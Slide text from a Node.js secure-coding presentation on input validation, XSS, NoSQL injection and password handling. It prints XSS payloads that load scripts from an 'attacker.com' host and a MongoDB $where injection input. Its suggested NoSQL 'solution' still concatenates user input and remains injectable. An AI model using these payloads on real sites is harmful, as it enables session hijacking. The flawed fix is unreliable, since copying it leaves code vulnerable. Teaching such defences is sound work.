  • 7. ● Validate all client provided data before processing, including all parameters, URLs and HTTP header Content ● Validate all input against a whitelist of allowed characters, whenever possible ● Validate for expected data types: ○ const userInputAge = '32'; const userAge = Number.parseInt(userInputAge); console.log('User is %d years old', userAge); // User is 32 years old ● Use actively maintained validation modules than reduce use of custom Regex for common purpose Eg: email validations
  • 8. Input entry points ● Query Parameters ● URL path ● PUT/POST parameters ● Cookies ● Headers ● File uploads ● Emails ● Form fields ● Web sockets
  • 9. File Uploads ● All file uploads should be subjected to strict validation ● Node.js suggest multer ● Store uploaded files on Specific location: ○ Uploaded files should be stored in specific location without execution privilages and directory listing ● Check file size and type before saving to storage. Never rely on file extension ● Do not execute user uploaded content(Unless under a gun point, duh!) ○ If at gunpoint, use a library like Jailed that runs code in sandbox mode
  • 10. Post Validation Actions ● Enforcement Actions: ○ Notify user the input failed to comply with the requirements and should be modified ○ Modify user submitted data on server side without notifying the user ● Advisory Action: ○ Allows unchanged data but inform the user that there was issues with the entered data ● Verification Action: ○ Suggest changes in the user input. User chooses whether to keep the data or change it Eg: Billing forms
  • 11. Sanitization Sanitization refers to the process of removing or replacing submitted data. When dealing with data, after the proper validation checks have been made, an additional step which tends to be taken in order to strengthen data safety is sanitization. ● Convert Single Less-Than Characters < to Entity ● Remove Line Breaks, Tabs and Extra White Space ● Url Request Path: Any input containing the dot-dot-slash(../) should be rejected
  • 12. Output Encoding ● Cross-Site Scripting (XSS) ● NoSQL Injection
  • 13. Cross-Site Scripting ● Cross-Site Scripting (XSS) vulnerabilities are one of the most prevalent attacks involving web applications and JavaScript ● Types: ○ Server XSS - when untrusted data is included in an HTML response generated by the server ○ Client XSS - when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call
  • 14. ● Server XSS ○ Occurs when untrusted data is included in an HTML response generated by the server ○ https://www.google.pt/search?q=JS+SCP ■ No results found for "JS SCP" ○ https://www.google.pt/search?q=<script>alert(XSS)</script> ■ <p>No results found for "<script>alert(XSS)<%2Fscript>"</p> ○ https://www.google.pt/search?q=<script>s=document.createElement("script"),s.src="//attacker. com/ms.js",document.body.appendChild(s);<%2Fscript> const express = require('express'); const db = require('../lib/db'); const router = express.Router(); router.get('/search', (req, res) => { const results = db.search(req.query.q); if (results.length === 0) { return res.send('<p>No results found for "' + req.query.q + '"</p>'); } });
  • 15. ● Client XXS ○ Occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call ○ document.write('<script type="text/JavaScript" src="' + (location.search.split('req=')[1] || '') + '"></scr'+'ipt>'); ○ location.search.split is not properly escaped, the req parameter can be manipulated by an attacker to retrieve malicious JavaScript from a location he/she is in control of, injecting it into the web page of which the victim is visiting ○ http://www.example.com/?req=https://www.attacker.com/poc/xss.js ○ Upon clicking it, the https://www.attacker.com/poc/xss.js script is requested by the ad snippet, making it run in the www.example.com context. ○ Initial step of a Session Hijacking attack as an attacker's script may have access to the session cookie (if it was not properly set as httpOnly ) or to the localStorage where a JSON Web Token (JWT) may be found
  • 16. Cross-Site Scripting Prevention ● Nodejs: ○ Both encodeURI and encodeURIComponent functions are available on Node.js global scope , but more specialized packages like the xss-filters var express = require('express'); var app = express(); var xssFilters = require('xss-filters'); app.get('/', function(req, res){ var firstname = req.query.firstname; //an untrusted input collected from user res.send('<h1> Hello, ' + xssFilters.inHTMLData(firstname) + '!</h1>'); }); app.listen(3000);
  • 17. ● Angular: ○ Angular already has some built-in protections to help developers dealing with output encoding and XSS mitigation ○ By default, all values are considered untrusted/unsafe. This means that whenever a value is inserted into the DOM from a template , property , attribute , style , class binding or interpolation Angular sanitizes and escapes it ○ https://angular.io/guide/security
  • 18. NoSQL Injection ● MongoDB ○ Whenever an application accepts user input as query parameters, malicious content can be injected into the database unless some steps are taken to prevent it. ○ These three operations that allow arbitrary JavaScript expressions to run directly on the server: ■ $where ■ mapReduce ■ group
  • 19. ● This query returns the document whose UserID is equal to the req.query.id value ● Making req.query.id equals to 0; return true will lead to the expression this.UserID = 0; return true which is the NoSQL equivalent to: SELECT * FROM Users WHERE UserID = 0 OR 1 = 1 ● Soln: const dbQuery = { $where: 'this.UserID = ' + req.query.id } db.Users.find(dbQuery); const dbQuery = { $where: 'this.UserID = new Number(' + req.query.id + ')' } db.Users.find(dbQuery);
  • 20. Authentication and Password Management ● All authentication controls must be enforced on a trusted system ● Utilize standard and tested authentication controls ○ Eg: Passport ● Password entry should be obscured on user's screen but also the remember me functionality should be disabled ○ <input type="password" name="passwd" autocomplete="off" /> ● Communicating Authentication Data ○ Authentication credentials should be sent on HTTP POST requests only ○ When handling authentication errors, your application should not disclose which part of the authentication data was incorrect ○ Who is registered - "invalid password" means that the username exists ○ How your system works - "invalid password" reveals how your application works
  • 21. ● Avoid using deprecated hashing algorithms (e.g. SHA-1, MD5, etc) ○ http://md5decrypt.net/en/Sha1/ ● Always use salt for encryption ● Do not use the same salt for whole application ● Recommended hashing algorithms are bcrypt , PDKDF2 , Argon2 and Scrypt ● Enforce password complexity requirements ● Passwords should be at least one day old before they can be changed ● Express-brute package for express allows request slowdown (after 5 failed logins), as well as setting a daily maximum login attempt number (1000)
  • 22. ● Enforce account disabling after an established number of invalid login attempts (e.g., five attempts is common). The account must be disabled for a period of time sufficient to discourage brute force guessing of credentials, but not so long as to allow for a denial-of-service attack to be performed
  • 23. Error Handling and Logging ● Information, no matter how insignificant is seems, matters a lot in web world.